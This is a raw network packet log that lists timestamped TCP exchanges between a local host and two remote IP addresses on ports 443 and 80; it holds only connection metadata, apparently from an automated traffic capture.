Dec 6, 2024 22:08:42.549952030 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.550096035 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.550122023 CET	49773	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.550127029 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.550168991 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.550438881 CET	49772	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.550447941 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.550512075 CET	49775	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.550519943 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.550823927 CET	49772	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.550828934 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.550911903 CET	49775	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.550916910 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.560120106 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.560491085 CET	49776	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.560509920 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.560880899 CET	49776	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.560887098 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.981933117 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.982002020 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.982058048 CET	49774	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.982291937 CET	49774	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.982320070 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.982332945 CET	49774	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.982338905 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.984054089 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.984121084 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.984164000 CET	49773	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.984464884 CET	49773	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.984479904 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.984488964 CET	49773	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.984494925 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.984733105 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.984787941 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.984823942 CET	49775	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.985595942 CET	49775	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.985604048 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.985614061 CET	49775	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.985618114 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.986104965 CET	49778	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.986162901 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.986216068 CET	49778	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.986695051 CET	49778	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.986709118 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.986881971 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.986938000 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.986978054 CET	49772	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.987198114 CET	49772	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.987204075 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.987211943 CET	49772	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.987215996 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.987718105 CET	49779	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.987759113 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.987818956 CET	49779	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.987983942 CET	49779	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.987998009 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.989049911 CET	49780	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.989078999 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.989136934 CET	49780	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.989428043 CET	49780	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.989444017 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.990487099 CET	49781	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.990508080 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.990570068 CET	49781	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.990688086 CET	49781	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.990700006 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.994535923 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.994611025 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.994657993 CET	49776	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.994765043 CET	49776	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.994776011 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.994786024 CET	49776	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.994790077 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.996773958 CET	49782	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.996798038 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.996845007 CET	49782	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.996948957 CET	49782	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.996967077 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:44.704694986 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:44.705305099 CET	49778	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:44.705367088 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:44.705830097 CET	49778	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:44.705840111 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:44.707261086 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:44.707616091 CET	49779	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:44.707643986 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:44.707989931 CET	49779	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:44.707995892 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:44.711395025 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:44.711759090 CET	49780	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:44.711776018 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:44.712246895 CET	49780	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:44.712255001 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:44.712882996 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:44.713208914 CET	49781	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:44.713234901 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:44.713574886 CET	49781	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:44.713581085 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:44.736943960 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:44.737417936 CET	49782	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:44.737427950 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:44.737859964 CET	49782	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:44.737865925 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.144797087 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.144865990 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.145092010 CET	49778	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.145427942 CET	49778	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.145457029 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.145469904 CET	49778	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.145477057 CET	443	49778	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.145991087 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.146065950 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.146123886 CET	49779	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.146198034 CET	49779	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.146231890 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.146244049 CET	49779	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.146249056 CET	443	49779	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.148988008 CET	49784	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.149033070 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.149072886 CET	49785	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.149127007 CET	443	49785	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.149127960 CET	49784	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.149200916 CET	49785	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.149311066 CET	49784	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.149327040 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.149525881 CET	49785	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.149542093 CET	443	49785	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.151299953 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.151365995 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.151434898 CET	49781	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.151520014 CET	49781	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.151520967 CET	49781	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.151565075 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.151597023 CET	443	49781	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.152262926 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.152321100 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.152369022 CET	49780	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.152455091 CET	49780	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.152470112 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.152478933 CET	49780	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.152483940 CET	443	49780	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.153723955 CET	49786	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.153736115 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.153796911 CET	49786	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.153918982 CET	49786	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.153935909 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.154259920 CET	49787	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.154279947 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.154333115 CET	49787	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.154468060 CET	49787	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.154479027 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.174668074 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.174732924 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.174804926 CET	49782	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.174973011 CET	49782	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.174984932 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.174993992 CET	49782	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.174998045 CET	443	49782	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.177366018 CET	49788	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.177387953 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:45.177478075 CET	49788	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.177633047 CET	49788	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:45.177644968 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:46.756155968 CET	49750	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:46.756448030 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:46.875834942 CET	80	49750	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:46.876128912 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:46.876249075 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:46.876507998 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:46.877860069 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:46.878323078 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:46.878551006 CET	49784	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:46.878567934 CET	443	49785	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:46.878575087 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:46.878679037 CET	49787	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:46.878731012 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:46.878750086 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:46.879081964 CET	49784	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:46.879089117 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:46.879168987 CET	49787	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:46.879192114 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:46.879363060 CET	49785	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:46.879383087 CET	443	49785	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:46.879467964 CET	49786	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:46.879477024 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:46.879729986 CET	49785	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:46.879735947 CET	443	49785	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:46.879878998 CET	49786	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:46.879884958 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:46.896996975 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:46.897563934 CET	49788	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:46.897576094 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:46.898077011 CET	49788	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:46.898081064 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:46.996530056 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:47.313476086 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.313534975 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.313630104 CET	49784	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.313906908 CET	49784	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.313919067 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.313930988 CET	49784	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.313935995 CET	443	49784	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.314625978 CET	443	49785	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.314670086 CET	443	49785	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.314719915 CET	49785	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.314794064 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.314841986 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.314886093 CET	49786	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.315059900 CET	49786	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.315063953 CET	443	49786	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.315123081 CET	49785	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.315124989 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.315146923 CET	443	49785	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.315162897 CET	49785	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.315170050 CET	443	49785	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.315172911 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.315217018 CET	49787	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.315885067 CET	49787	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.315891027 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.315927982 CET	49787	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.315932989 CET	443	49787	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.318502903 CET	49790	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.318527937 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.318551064 CET	49791	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.318593025 CET	443	49791	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.318597078 CET	49790	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.318645954 CET	49791	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.318767071 CET	49790	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.318779945 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.319268942 CET	49792	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.319283962 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.319370985 CET	49792	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.319423914 CET	49791	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.319439888 CET	443	49791	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.319475889 CET	49792	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.319488049 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.319586992 CET	49793	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.319618940 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.319672108 CET	49793	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.319952965 CET	49793	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.319967985 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.332588911 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.332662106 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.332751989 CET	49788	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.332995892 CET	49788	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.333003044 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.333017111 CET	49788	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.333020926 CET	443	49788	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.336534023 CET	49794	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.336541891 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:47.336631060 CET	49794	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.336782932 CET	49794	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:47.336795092 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:48.705735922 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:48.705812931 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.011256933 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.038039923 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.038131952 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.038140059 CET	443	49791	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.047699928 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.054898977 CET	49793	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.054936886 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.055466890 CET	49793	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.055471897 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.055716991 CET	49792	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.055736065 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.056046963 CET	49792	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.056051970 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.056318998 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.056353092 CET	49791	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.056368113 CET	443	49791	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.056655884 CET	49791	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.056660891 CET	443	49791	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.056716919 CET	49794	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.056725025 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.057027102 CET	49794	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.057032108 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.057245016 CET	49790	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.057255030 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.057560921 CET	49790	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.057564974 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.130949974 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.448693991 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.448889971 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.448899984 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.448915958 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.448966980 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.449436903 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.449450016 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.449482918 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.450303078 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.450314999 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.450349092 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.451323032 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.451334953 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.451381922 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.452202082 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.452259064 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.457184076 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.457246065 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.473115921 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.473195076 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.473207951 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.473265886 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.473290920 CET	49792	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.473313093 CET	49793	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.473534107 CET	49792	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.473536968 CET	49793	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.473551989 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.473556995 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.473567963 CET	49792	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.473570108 CET	49793	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.473573923 CET	443	49792	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.473577023 CET	443	49793	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.473691940 CET	443	49791	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.473741055 CET	443	49791	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.473809004 CET	49791	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.474287987 CET	49791	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.474287987 CET	49791	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.474306107 CET	443	49791	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.474315882 CET	443	49791	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.477102995 CET	49795	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.477128983 CET	443	49795	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.477205038 CET	49795	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.477380037 CET	49796	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.477406025 CET	443	49796	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.477461100 CET	49796	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.477588892 CET	49795	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.477602005 CET	443	49795	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.477678061 CET	49796	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.477695942 CET	443	49796	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.477859020 CET	49797	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.477895021 CET	443	49797	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.477991104 CET	49797	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.478024960 CET	49797	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.478034973 CET	443	49797	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.486768007 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.486835957 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.486881018 CET	49790	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.487023115 CET	49790	443	192.168.2.7	13.107.246.63
